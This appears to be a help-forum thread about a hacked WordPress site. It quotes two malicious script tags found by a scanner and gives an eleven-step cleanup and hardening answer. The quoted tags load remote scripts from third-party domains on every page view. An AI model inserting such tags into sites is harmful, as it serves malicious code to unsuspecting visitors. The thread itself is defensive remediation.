2

This is my site - (redacted site URL with malware from an XSS exploit - for security reasons)

I created this website in wordpress and suddenly realized malware in my site after google ads stopped and warned me.

Below are the malwares found by sucuri sitecheck.

<script type="text/javascript" src="//deloplen.com/apu.php?zoneid=2694107" async data-cfasync="false"></script> 
<script src="//pushlaram.com/ntfc.php?p=2694112" data-cfasync="false" async></script>
3
  1. Make a backup of everything you have left, especially your database and wp-content folder. Some hosts simply delete hacked websites and you don't want to lose your entire work to this.

  2. Talk to your hosting company. Good quality providers have staff at hand who know their way around the hosting environment and might be able to fix things for you. Plus, the hack might be due to server insecurity, so they need to deal with that.

  3. Scan your local computer to make sure the hack didn't originate from there.

  4. Restore from backup. If you have an uncompromised backup of your site, go back to that version and follow the advice below on locking down your site via password changes, updates, and extra hardening. If not, continue.

  5. Change all your passwords to the back end and force all other admin users to do the same, e.g. via https://wordpress.org/plugins/expire-passwords/. While you are at it, check if there are any users on your site that don't belong there.

  6. Install https://wordpress.org/plugins/sucuri-scanner/ and have it scan all WordPress core files for integrity. Alternatively, use external scanners below.

  7. Replace the compromised files with their originals. The easiest way is usually to simply re-install WordPress. You can do this from the back end or manually. Update your plugins and theme. Delete those that you are not using.

  8. Replace your SALTs inside wp-config.php. https://api.wordpress.org/secret-key/1.1/salt/

  9. Change your password once more and all other important credentials: Hosting account login, FTP login, MySQL database password, admin email address password.

  10. Implement additional security measures: https://wordpress.org/support/article/hardening-wordpress/

  11. Re-run security checks so you know you haven't missed anything.

External scanners:

  • Thanks you for your solution.. I using root account login to and check in "wp_include" and found it in file "wp_tmp.php" remove it ok. – Anh Kim Aug 16 at 17:42
  • Sounds good. I still advise you to follow the steps above to eliminate any backdoors hackers might have left on your site to avoid re-infection. – WSU Aug 19 at 12:42

Not the answer you're looking for? Browse other questions tagged or ask your own question.